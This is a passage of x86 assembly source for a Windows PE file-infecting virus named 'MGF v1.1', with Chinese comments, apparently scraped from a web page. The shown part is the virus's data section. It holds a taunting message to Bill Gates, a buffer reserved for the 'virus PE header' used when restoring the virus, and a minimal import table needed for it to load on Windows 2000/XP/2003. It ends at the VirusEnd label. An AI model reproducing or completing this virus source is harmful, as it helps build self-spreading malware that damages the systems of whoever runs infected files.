db '緻我的偶像比爾.蓋茨:你的幾個傻瓜手下,輕視我的漏洞報告,你該打他們的PP!',0

szVer db 'Name: MGF v1.1',0

address db '(C) NN.CN (P) 2003-10-08',0

email db '[email protected]',0

FileHead db 120h dup(255) ;病毒PE頭,恢複病毒時用,需要手工填入,這裡僅預留白間

ImportDirItem: ;導入表,沒有它2000/XP/2003拒絕裝入執行,必須

dd offset FirstThunk0-400000h

dd 0

dd 0

dd offset szKernel32-400000h

dd offset FirstThunk1-400000h

dd 5 dup(0)

FirstThunk0:

dd offset szFunctionName-400000h

dd 0

FirstThunk1:

dd offset szFunctionName-400000h

dd 0

szFunctionName:

dw 75h

db 'ExitProcess',0,0,0

VirusEnd:

end VirusStart

繼續閱讀